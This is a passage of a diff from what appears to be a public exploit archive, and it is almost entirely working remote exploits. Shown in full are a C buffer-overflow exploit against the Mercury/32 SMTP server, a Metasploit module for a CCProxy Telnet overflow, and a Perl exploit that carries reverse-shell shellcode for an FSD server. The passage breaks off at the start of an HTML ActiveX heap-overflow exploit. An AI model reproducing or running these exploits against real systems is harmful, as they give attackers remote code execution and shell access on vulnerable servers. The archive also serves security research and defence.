+		"\x77\x2f\x7d\x51\x59\x3c\xd0\xd6\x53\x3a\xe8\x86\x53\x3a\xd7\xd6"
+		"\xfd\xbb\xea\x2a\xdb\x6e\x4c\xd4\xfd\xbd\xe8\x78\xfd\x5c\x7d\x57"
+		"\x89\x3c\x7e\x04\xc6\x0f\x7d\x51\x50\x94\x52\xef\xf2\xe1\x86\xd8"
+		"\x51\x94\x54\x78\xd2\x6b\x82\x87"	
+	 },	  	
+	{NULL , NULL }
+};
+
+
+// -----------------------------------------------------------------
+// BASE64
+// -----------------------------------------------------------------
+
+char base64_chars[] = 
+             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+             "abcdefghijklmnopqrstuvwxyz"
+             "0123456789+/";
+
+
+static inline bool is_base64(unsigned char c) {
+  return (isalnum(c) || (c == '+') || (c == '/'));
+}
+
+void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret) 
+{
+  int i = 0;
+  int j = 0;
+  unsigned char char_array_3[3];
+  unsigned char char_array_4[4];
+
+  while (in_len--) 
+  {
+    char_array_3[i++] = *(bytes_to_encode++);
+    if (i == 3) {
+      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
+      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
+      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
+      char_array_4[3] = char_array_3[2] & 0x3f;
+
+      for(i = 0; (i <4) ; i++)
+		ret[strlen(ret)]=base64_chars[char_array_4[i]];
+        //ret += base64_chars[char_array_4[i]];
+      i = 0;
+    }
+  }
+
+  if (i)
+  {
+    for(j = i; j < 3; j++)
+      char_array_3[j] = '\0';
+
+    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
+    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
+    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
+    char_array_4[3] = char_array_3[2] & 0x3f;
+
+    for (j = 0; (j < i + 1); j++)
+		ret[strlen(ret)]=base64_chars[char_array_4[j]];
+      //ret += base64_chars[char_array_4[j]];
+
+    while((i++ < 3))
+		ret[strlen(ret)]='=';
+      //ret += '=';
+
+  }
+
+
+}
+
+void base64_decode(char const * encoded_string, char * ret) 
+{
+  int in_len = strlen(encoded_string);//encoded_string.size();
+  int i = 0;
+  int j = 0;
+  int in_ = 0;
+  unsigned char char_array_4[4], char_array_3[3];
+
+  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) 
+  {
+    char_array_4[i++] = encoded_string[in_]; in_++;
+    if (i ==4) {
+      for (i = 0; i <4; i++)
+        char_array_4[i] = strchr(base64_chars, char_array_4[i])-base64_chars;//base64_chars.find(char_array_4[i]);
+
+      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
+      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
+      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
+
+      for (i = 0; (i < 3); i++)
+		  ret[strlen(ret)]=char_array_3[i];
+        //ret += char_array_3[i];
+      i = 0;
+    }
+  }
+
+  if (i) {
+    for (j = i; j <4; j++)
+      char_array_4[j] = 0;
+
+    for (j = 0; j <4; j++)
+      char_array_4[j] = strchr(base64_chars, char_array_4[j])-base64_chars;//base64_chars.find(char_array_4[j]);
+
+    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
+    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
+    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
+
+    for (j = 0; (j < i - 1); j++) ret[strlen(ret)]=char_array_3[j];//ret += char_array_3[j];
+  }
+
+}
+
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+
+int main(int argc, char **argv)
+{
+	char * remotehost=NULL;
+	char default_remotehost[]="127.0.0.1";
+	char temp1[100], temp2[100];
+	int port, itarget, sh;
+	SOCKET s;
+	char c;	
+	logo();
+	WSADATA wsa;
+	WSAStartup(MAKEWORD(2,0), &wsa);
+	if(argc<2)
+	{
+		usage(argv[0]);		
+		return -1;
+	}
+
+	// set defaults
+	port=25;
+	itarget=0;
+	sh=0;
+	// ------------	
+	
+	while((c = getopt(argc, argv, "h:p:s:t:"))!= EOF)
+	{
+		switch (c)
+		{
+			case 'h':
+				remotehost=optarg;
+				break; 	
+			case 's':
+				sscanf(optarg, "%d", &sh);
+				sh--;
+				break;
+			case 't':
+				sscanf(optarg, "%d", &itarget);
+				itarget--;
+				break;
+			case 'p':
+				sscanf(optarg, "%d", &port);
+				break;
+			default:
+	            usage(argv[0]);
+				WSACleanup();
+			return -1;
+		}		
+	}	
+	if(remotehost == NULL) remotehost=default_remotehost;
+	memset(temp1,0,sizeof(temp1));
+	memset(temp2,0,sizeof(temp2));
+	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
+	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
+	sprintf(temp2, "%d", port);
+	memset(temp1,0,sizeof(temp1));
+	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
+	printf(" #  Port    : %s%s# \n", temp2, temp1);
+	memset(temp1,0,sizeof(temp1));	
+	memset(temp2,0,sizeof(temp2));
+	sprintf(temp2, "%s", shellcodes[sh].name );
+	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
+	printf(" #  Payload : %s%s# \n", temp2, temp1);	
+	if(itarget>=0)
+	{
+		memset(temp1,0,sizeof(temp1));	
+		memset(temp1, '\x20' , 57 - strlen(targets[itarget].t) -1);	
+		printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);
+	}else
+	{		
+		printf(" # ------------------------------------------------------------------- # \n");
+		printf("[-] Target is invalid\n");
+		end_logo();
+		return -1;		
+	}	
+	printf(" # ------------------------------------------------------------------- # \n");
+	fflush(stdout);
+	printf("[+] Checking if server is online\n");
+	fflush(stdout);
+
+	s=do_connect(remotehost, port);   
+	if(s==-1)
+	{
+		printf("[-] Server is OFFLINE\n");
+		end_logo();
+		return 0;
+	}
+	closesocket(s);
+	printf("[+] Server is ONLINE\n");
+
+	
+	
+	
+	unsigned char buf[50000];
+	unsigned int len;
+	memset(buf,0,sizeof(buf));
+	fflush(stdout);
+	make_buffer(buf, &len, itarget, sh);
+
+	printf("[+] Attacking buffers constructed\n");
+	if(send_buffer(buf, len, remotehost,port)==-1)
+	{
+		printf("[-] Cannot exploit server %s\n", remotehost);
+		end_logo();
+		WSACleanup();
+		return -1;
+	}
+
+	printf("[+] Buffer sent");
+	printf("[+] Now try connect to %s:%d\n", remotehost, 4444);	
+	end_logo();
+	return 0;
+}
+
+
+
+SOCKET do_connect (char *remotehost, int port)
+{
+   static struct hostent *host;
+   static struct sockaddr_in addr;
+   SOCKET s;	
+       host = gethostbyname(remotehost);
+       if (!host)
+       {
+           perror("[-] gethostbyname() failed");
+           return -1;
+       }
+       addr.sin_addr = *(struct in_addr*)host->h_addr;
+
+   s = socket(PF_INET, SOCK_STREAM, 0);
+   if (s == -1)
+   {
+       closesocket(s);
+       perror("socket() failed");
+       return -1;
+   }
+
+   addr.sin_port = htons(port);
+   addr.sin_family = AF_INET;
+
+   if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
+   {
+       closesocket(s);
+      
+       return -1;
+   }
+   return s;
+}
+
+
+void prepare_shellcode( char * fsh, unsigned int * fshlen, int sh)
+{
+	memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
+	*fshlen = shellcodes[sh].length;	
+}
+
+void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
+{
+	// prepare shellcode
+	char fsh[10000];	
+	unsigned int fshlen;
+	memset(fsh, 0, sizeof(fsh));	
+	prepare_shellcode(fsh, &fshlen, sh);
+	// -----------------
+
+	// make buffer with shellcode inside
+	unsigned char * cp=buf;
+
+		// init
+	memset(cp, '\x41', 1300);
+	cp+=204;
+
+		// replace EIP
+	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
+
+		// jff
+	*cp++ = '\x90';
+	*cp++ = '\x90';
+	*cp++ = '\x90';
+	*cp++ = '\x90';
+
+		// copy the shellcode
+	memcpy(cp, fsh, fshlen);
+	cp+=fshlen;
+
+	*len = (unsigned int)(cp-buf);
+	// -----------------
+	
+
+}
+
+
+
+int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
+{
+	char bufmax[4096], sendbuf[5000];
+	SOCKET s;
+
+	s = do_connect(remotehost, port);
+	memset(bufmax, 0 , sizeof(bufmax));
+	recv(s, bufmax, sizeof(bufmax),0);
+	bufmax[sizeof(bufmax)-1] = 0;
+	printf("[+] Server: %s\n", bufmax);
+
+	// send EHLO
+	memset(sendbuf, 0, sizeof(sendbuf));
+	strcat(sendbuf, "EHLO Dreatica-FXP\r\n");
+	printf("[+] Request: EHLO Dreatica-FXP\n");
+	send(s, sendbuf, (int)strlen(sendbuf),0);
+	
+	// send AUTH CRAM-MD5
+	memset(sendbuf, 0, sizeof(sendbuf));
+	strcat(sendbuf, "AUTH CRAM-MD5\r\n");
+	printf("[+] Request: AUTH CRAM-MD5\n");
+	send(s, sendbuf, (int)strlen(sendbuf),0);
+
+	
+	// i don't make the correct recv procedure like Zhenhan.Liu have done in his code
+	// just put 3 recv for that
+	memset(bufmax, 0 , sizeof(bufmax));
+	recv(s, bufmax, sizeof(bufmax),0);
+	bufmax[sizeof(bufmax)-1] = 0;
+	printf("[+] Reply: %s\n",bufmax);	
+	memset(bufmax, 0 , sizeof(bufmax));
+	recv(s, bufmax, sizeof(bufmax),0);
+	bufmax[sizeof(bufmax)-1] = 0;
+	printf("[+] Reply: %s\n",bufmax);
+	memset(bufmax, 0 , sizeof(bufmax));
+	recv(s, bufmax, sizeof(bufmax),0);
+	bufmax[sizeof(bufmax)-1] = 0;
+	printf("[+] Reply: %s\n",bufmax);
+
+	// ALL is OKE	
+	printf("[+] Sending payload...\n");
+	memset(sendbuf, 0, sizeof(sendbuf));
+	base64_encode(buf, len, sendbuf);
+	sendbuf[strlen(sendbuf)]= '\r';
+	sendbuf[strlen(sendbuf)]= '\n';
+	send(s, sendbuf, (int)strlen(sendbuf), 0);
+	
+	closesocket(s);
+	return 1;
+}
+
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring)
+{
+	static char *next = NULL;
+	if (optind == 0)
+		next = NULL;
+
+	optarg = NULL;
+
+	if (next == NULL || *next == '\0')
+	{
+		if (optind == 0)
+			optind++;
+
+		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
+		{
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		if (strcmp(argv[optind], "--") == 0)
+		{
+			optind++;
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		next = argv[optind];
+		next++;		// skip past -
+		optind++;
+	}
+
+	char c = *next++;
+	char *cp = strchr(optstring, c);
+
+	if (cp == NULL || c == ':')
+		return '?';
+
+	cp++;
+	if (*cp == ':')
+	{
+		if (*next != '\0')
+		{
+			optarg = next;
+			next = NULL;
+		}
+		else if (optind < argc)
+		{
+			optarg = argv[optind];
+			optind++;
+		}
+		else
+		{
+			return '?';
+		}
+	}
+
+	return c;
+}
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+
+void usage(char * s)
+{	
+	printf("\n");
+	printf("    Usage: %s -p <port> -h <host> -s <shellcode> -t <target>\n\n", s);	
+	printf("    Arguments:\n");
+	printf("     -p <port>      Port of the Mercury SMTP (default: 25)\n");
+	printf("     -h <host>      Hostname of the server\n");
+	printf("     -s <shellcode> Payload to use (default: 1)\n");
+	printf("     -t <target>    Target to attack (default: 1)\n");
+	
+	printf("\n");
+	printf("    Shellcodes:\n");
+	for(int i=0; shellcodes[i].name!=0;i++)
+	{
+		printf("      %d. %s\n",i+1,shellcodes[i].name);				
+	}	
+	printf("\n");
+	printf("    Targets:\n");
+	for(int j=0; targets[j].t!=0;j++)
+	{
+		printf("      %d. %s\n",j+1,targets[j].t);
+	}		
+	printf("\n");
+	end_logo();	
+}
+
+void logo()
+{
+	printf("\n\n");
+	printf(" ####################################################################### \n");	
+	printf(" #     ____                 __  _                  ______  __    _____ #\n");
+	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
+	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
+	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
+	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
+	printf(" #                                 crew                                #\n");
+	printf(" ####################################################################### \n");	
+	printf(" #  Exploit : Mercury/32 v3.32-v4.51 SMTP EIP overwrite exploit        # \n");
+	printf(" #  Tested  : Mercury/32 SMTP v3.32, v4.01a, v4.51                     # \n");
+	printf(" #  Author  : Heretic2 (http://www.dreatica.cl/)                       # \n");
+	printf(" #  Research: eliteb0y                                                 # \n");
+	printf(" #  Version : 1.0                                                      # \n");
+	printf(" #  System  : Windows ALL                                              # \n");
+	printf(" #  Date    : 26.08.2007                                               # \n");
+	printf(" # ------------------------------------------------------------------- # \n");
+}
+
+void end_logo()
+{
+	printf(" # ------------------------------------------------------------------- # \n");
+	printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");	
+	printf(" ####################################################################### \n\n");
+}
+
+// milw0rm.com [2007-08-26]
diff --git a/platforms/windows/remote/4360.rb b/platforms/windows/remote/4360.rb
index 458230fbb..cf80569c5 100755
--- a/platforms/windows/remote/4360.rb
+++ b/platforms/windows/remote/4360.rb
@@ -1,118 +1,118 @@
-##
-# $Id$
-##
-
-##
-# This file is part of the Metasploit Framework and may be subject to 
-# redistribution and commercial restrictions. Please see the Metasploit
-# Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/projects/Framework/ 
-##
-
-require 'msf/core'
-
-module Msf
-
-class Exploits::Windows::Proxy::CCProxy_Telnet_Ping < Msf::Exploit::Remote
-	
-	include Exploit::Remote::Tcp
-
-	def initialize(info = {}) 
-		super(update_info(info,    
-			'Name'		=> 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
-			'Description'	=> %q{
-            			This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service.
-				The stack is overwritten when sending an overly long address to the 'ping' command.
-			},
-			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
-			'Arch'		=> [ ARCH_X86 ], 
-			'License'       => MSF_LICENSE,
-			'Version'       => '$Revision$',
-			'References'    =>
-			[
-				[ 'BID', '11666 ' ],
-				[ 'CVE', '2004-2416' ],
-				[ 'MIL', '621' ],
-				[ 'OSVDB', '11593' ],
-			],         
-			'Privileged'		=> false,
-			'DefaultOptions'	=>
-			{
-				'EXITFUNC' 	=> 'thread',
-			},
-			'Payload' =>
-				{ 
-					'Space'		=> 1012,
-					'BadChars' 	=> "\x00\x07\x08\x0a\x0d",
-				},
-			'Platform' => ['win'],
-			'Targets' =>
-			[
-			# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
-				[
-				'Windows 2000 Pro All - English',
-				{
-					'Ret'	=> 0x75023411, # call esi ws2help.dll
-				}
-				],
-				[
-				'Windows 2000 Pro All - Italian',
-				{
-					'Ret'	=> 0x74fd2b81, # call esi ws2help.dll
-				}
-				],
-				[
-				'Windows 2000 Pro All - French',
-				{
-					'Ret'	=> 0x74fa2b22, # call esi ws2help.dll
-				}
-				],
-                 		[
-				'Windows XP SP0/1 - English',
-				{
-					'Ret'	=> 0x71aa1a97, # call esi ws2help.dll
-				}
-				],
-                 		[
-				'Windows XP SP2 - English',
-				{
-					'Ret'	=> 0x71aa1b22, # call esi ws2help.dll
-				}
-				],
-			],
-			'DisclosureDate' => 'Nov 11 2004'))
-            
-			register_options(
-			[
-				Opt::RPORT(23),
-			], self.class)
-	end
-
-	def autofilter
-		false
-	end
-
-	def check 
-		connect
-		banner = sock.get_once(-1,3)
-
-		if (banner =~ /CCProxy Telnet Service Ready/)
-			return Exploit::CheckCode::Appears 
-		end
-		return Exploit::CheckCode::Safe
-	end
-
-	def exploit
-		connect
-		
-		sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
-		sock.put(sploit + "\r\n")
-
-		handler
-		disconnect
-	end
-
-end
-end
-
-# milw0rm.com [2007-09-03]
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/ 
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Proxy::CCProxy_Telnet_Ping < Msf::Exploit::Remote
+	
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {}) 
+		super(update_info(info,    
+			'Name'		=> 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
+			'Description'	=> %q{
+            			This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service.
+				The stack is overwritten when sending an overly long address to the 'ping' command.
+			},
+			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
+			'Arch'		=> [ ARCH_X86 ], 
+			'License'       => MSF_LICENSE,
+			'Version'       => '$Revision$',
+			'References'    =>
+			[
+				[ 'BID', '11666 ' ],
+				[ 'CVE', '2004-2416' ],
+				[ 'MIL', '621' ],
+				[ 'OSVDB', '11593' ],
+			],         
+			'Privileged'		=> false,
+			'DefaultOptions'	=>
+			{
+				'EXITFUNC' 	=> 'thread',
+			},
+			'Payload' =>
+				{ 
+					'Space'		=> 1012,
+					'BadChars' 	=> "\x00\x07\x08\x0a\x0d",
+				},
+			'Platform' => ['win'],
+			'Targets' =>
+			[
+			# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
+				[
+				'Windows 2000 Pro All - English',
+				{
+					'Ret'	=> 0x75023411, # call esi ws2help.dll
+				}
+				],
+				[
+				'Windows 2000 Pro All - Italian',
+				{
+					'Ret'	=> 0x74fd2b81, # call esi ws2help.dll
+				}
+				],
+				[
+				'Windows 2000 Pro All - French',
+				{
+					'Ret'	=> 0x74fa2b22, # call esi ws2help.dll
+				}
+				],
+                 		[
+				'Windows XP SP0/1 - English',
+				{
+					'Ret'	=> 0x71aa1a97, # call esi ws2help.dll
+				}
+				],
+                 		[
+				'Windows XP SP2 - English',
+				{
+					'Ret'	=> 0x71aa1b22, # call esi ws2help.dll
+				}
+				],
+			],
+			'DisclosureDate' => 'Nov 11 2004'))
+            
+			register_options(
+			[
+				Opt::RPORT(23),
+			], self.class)
+	end
+
+	def autofilter
+		false
+	end
+
+	def check 
+		connect
+		banner = sock.get_once(-1,3)
+
+		if (banner =~ /CCProxy Telnet Service Ready/)
+			return Exploit::CheckCode::Appears 
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		connect
+		
+		sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
+		sock.put(sploit + "\r\n")
+
+		handler
+		disconnect
+	end
+
+end
+end
+
+# milw0rm.com [2007-09-03]
diff --git a/platforms/windows/remote/4484.pl b/platforms/windows/remote/4484.pl
index 275744b0b..53ac52bc2 100755
--- a/platforms/windows/remote/4484.pl
+++ b/platforms/windows/remote/4484.pl
@@ -1,69 +1,69 @@
-# ~$ nc -l -p 4321
-# Microsoft Windows 2000 [Version 5.00.2195]
-# (C) Copyright 1985-2000 Microsoft Corp.
-# 
-# E:\draft\fsd1110\windows>_
-# 
-# -------------------------------------------
-
-#!/usr/bin/perl
-
-# FSFDT remote exploit by weak[at]fraglab.at
-# spawns reverse shell to 10.0.0.100:4321
-# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4
-
-use IO::Socket;
-
-if( $#ARGV < 1 )
-{
-	print "usage: perl ".$0." <ip> <port>";
-	exit();
-}
-my $ip = $ARGV[0];
-my $port = $ARGV[1];
-
-print "connecting...\n";
-my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
-die "could not create socket: $!\n" unless $sock;
-
-# jmp esp in KERNEL32.DLL 5.0.2195.7006
-my $jmpesp = "\xB7\x49\xE7\x77";
-
-# encoded 'jmp 0x400' to jump to stage2
-my $jmpcode = 
-"\xeb\x11\x5e\x31\xc9\xb1\x1e\x80\x6c\x0e\xff\x35\x80\xe9\x01".
-"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x0e\x16\x0e\x69\x59\x8d".
-"\x8d\x8d\x8d\xb5\x1d\x1c\x66\xfe\x9b\xb6\x1e\x30\x34\xb5\x65".
-"\x36\x75\x17\x2f\x1d\x36\x3a\x36\x36";
-
-# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
-# bad chars: 0x00 0x0A 0x0D 0x20 0x29 
-my $shellcode =
-"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
-"\x2a\x6e\x8f\x83\xeb\xfc\xe2\xf4\xe2\x40\x85\xc2\xf6\xd3\x91\x70".
-"\xe1\x4a\xe5\xe3\x3a\x0e\xe5\xca\x22\xa1\x12\x8a\x66\x2b\x81\x04".
-"\x51\x32\xe5\xd0\x3e\x2b\x85\xc6\x95\x1e\xe5\x8e\xf0\x1b\xae\x16".
-"\xb2\xae\xae\xfb\x19\xeb\xa4\x82\x1f\xe8\x85\x7b\x25\x7e\x4a\xa7".
-"\x6b\xcf\xe5\xd0\x3a\x2b\x85\xe9\x95\x26\x25\x04\x41\x36\x6f\x64".
-"\x1d\x06\xe5\x06\x72\x0e\x72\xee\xdd\x1b\xb5\xeb\x95\x69\x5e\x04".
-"\x5e\x26\xe5\xff\x02\x87\xe5\xcf\x16\x74\x06\x01\x50\x24\x82\xdf".
-"\xe1\xfc\x08\xdc\x78\x42\x5d\xbd\x76\x5d\x1d\xbd\x41\x7e\x91\x5f".
-"\x76\xe1\x83\x73\x25\x7a\x91\x59\x41\xa3\x8b\xe9\x9f\xc7\x66\x8d".
-"\x4b\x40\x6c\x70\xce\x42\xb7\x86\xeb\x87\x39\x70\xc8\x79\x3d\xdc".
-"\x4d\x69\x3d\xcc\x4d\xd5\xbe\xe7\x14\x2a\x6e\xeb\x78\x42\x7e\x6e".
-"\x78\x79\xe7\x6e\x8b\x42\x82\x76\xb4\x4a\x39\x70\xc8\x40\x7e\xde".
-"\x4b\xd5\xbe\xe9\x74\x4e\x08\xe7\x7d\x47\x04\xdf\x47\x03\xa2\x06".
-"\xf9\x40\x2a\x06\xfc\x1b\xae\x7c\xb4\xbf\xe7\x72\xe0\x68\x43\x71".
-"\x5c\x06\xe3\xf5\x26\x81\xc5\x24\x76\x58\x90\x3c\x08\xd5\x1b\xa7".
-"\xe1\xfc\x35\xd8\x4c\x7b\x3f\xde\x74\x2b\x3f\xde\x4b\x7b\x91\x5f".
-"\x76\x87\xb7\x8a\xd0\x79\x91\x59\x74\xd5\x91\xb8\xe1\xfa\x06\x68".
-"\x67\xec\x17\x70\x6b\x2e\x91\x59\xe1\x5d\x92\x70\xce\x42\x81\x41".
-"\xfe\x4a\x3d\x70\xc8\xd5\xbe\x8f";
-
-print "sending payload...\n";
-print $sock "HELP " . "A"x200 . $jmpesp . "\x90"x8 . $jmpcode . "\n" . "\x90"x400 . $shellcode;
-close($sock);
-
-print "done.\n";
-
-# milw0rm.com [2007-10-04]
+# ~$ nc -l -p 4321
+# Microsoft Windows 2000 [Version 5.00.2195]
+# (C) Copyright 1985-2000 Microsoft Corp.
+# 
+# E:\draft\fsd1110\windows>_
+# 
+# -------------------------------------------
+
+#!/usr/bin/perl
+
+# FSFDT remote exploit by weak[at]fraglab.at
+# spawns reverse shell to 10.0.0.100:4321
+# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4
+
+use IO::Socket;
+
+if( $#ARGV < 1 )
+{
+	print "usage: perl ".$0." <ip> <port>";
+	exit();
+}
+my $ip = $ARGV[0];
+my $port = $ARGV[1];
+
+print "connecting...\n";
+my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
+die "could not create socket: $!\n" unless $sock;
+
+# jmp esp in KERNEL32.DLL 5.0.2195.7006
+my $jmpesp = "\xB7\x49\xE7\x77";
+
+# encoded 'jmp 0x400' to jump to stage2
+my $jmpcode = 
+"\xeb\x11\x5e\x31\xc9\xb1\x1e\x80\x6c\x0e\xff\x35\x80\xe9\x01".
+"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x0e\x16\x0e\x69\x59\x8d".
+"\x8d\x8d\x8d\xb5\x1d\x1c\x66\xfe\x9b\xb6\x1e\x30\x34\xb5\x65".
+"\x36\x75\x17\x2f\x1d\x36\x3a\x36\x36";
+
+# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
+# bad chars: 0x00 0x0A 0x0D 0x20 0x29 
+my $shellcode =
+"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
+"\x2a\x6e\x8f\x83\xeb\xfc\xe2\xf4\xe2\x40\x85\xc2\xf6\xd3\x91\x70".
+"\xe1\x4a\xe5\xe3\x3a\x0e\xe5\xca\x22\xa1\x12\x8a\x66\x2b\x81\x04".
+"\x51\x32\xe5\xd0\x3e\x2b\x85\xc6\x95\x1e\xe5\x8e\xf0\x1b\xae\x16".
+"\xb2\xae\xae\xfb\x19\xeb\xa4\x82\x1f\xe8\x85\x7b\x25\x7e\x4a\xa7".
+"\x6b\xcf\xe5\xd0\x3a\x2b\x85\xe9\x95\x26\x25\x04\x41\x36\x6f\x64".
+"\x1d\x06\xe5\x06\x72\x0e\x72\xee\xdd\x1b\xb5\xeb\x95\x69\x5e\x04".
+"\x5e\x26\xe5\xff\x02\x87\xe5\xcf\x16\x74\x06\x01\x50\x24\x82\xdf".
+"\xe1\xfc\x08\xdc\x78\x42\x5d\xbd\x76\x5d\x1d\xbd\x41\x7e\x91\x5f".
+"\x76\xe1\x83\x73\x25\x7a\x91\x59\x41\xa3\x8b\xe9\x9f\xc7\x66\x8d".
+"\x4b\x40\x6c\x70\xce\x42\xb7\x86\xeb\x87\x39\x70\xc8\x79\x3d\xdc".
+"\x4d\x69\x3d\xcc\x4d\xd5\xbe\xe7\x14\x2a\x6e\xeb\x78\x42\x7e\x6e".
+"\x78\x79\xe7\x6e\x8b\x42\x82\x76\xb4\x4a\x39\x70\xc8\x40\x7e\xde".
+"\x4b\xd5\xbe\xe9\x74\x4e\x08\xe7\x7d\x47\x04\xdf\x47\x03\xa2\x06".
+"\xf9\x40\x2a\x06\xfc\x1b\xae\x7c\xb4\xbf\xe7\x72\xe0\x68\x43\x71".
+"\x5c\x06\xe3\xf5\x26\x81\xc5\x24\x76\x58\x90\x3c\x08\xd5\x1b\xa7".
+"\xe1\xfc\x35\xd8\x4c\x7b\x3f\xde\x74\x2b\x3f\xde\x4b\x7b\x91\x5f".
+"\x76\x87\xb7\x8a\xd0\x79\x91\x59\x74\xd5\x91\xb8\xe1\xfa\x06\x68".
+"\x67\xec\x17\x70\x6b\x2e\x91\x59\xe1\x5d\x92\x70\xce\x42\x81\x41".
+"\xfe\x4a\x3d\x70\xc8\xd5\xbe\x8f";
+
+print "sending payload...\n";
+print $sock "HELP " . "A"x200 . $jmpesp . "\x90"x8 . $jmpcode . "\n" . "\x90"x400 . $shellcode;
+close($sock);
+
+print "done.\n";
+
+# milw0rm.com [2007-10-04]
diff --git a/platforms/windows/remote/4903.html b/platforms/windows/remote/4903.html
index 231ece724..ff53926bd 100755
--- a/platforms/windows/remote/4903.html
+++ b/platforms/windows/remote/4903.html
@@ -1,31 +1,31 @@
-<!--
-NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) remote heap
-overflow exploit (IE7/XP SP2)
-
-check a camera demo here: http://www.2mcctv.com/2mdemo.php
-codebase: http://www.dvrstation.com/pdvratl.php?vendor=0
-
-rgod /////////////////////////////// http://retrogod.altervista.org
--->
-<html>
-<script language="javascript">
-//add su one, user: sun pass: tzu
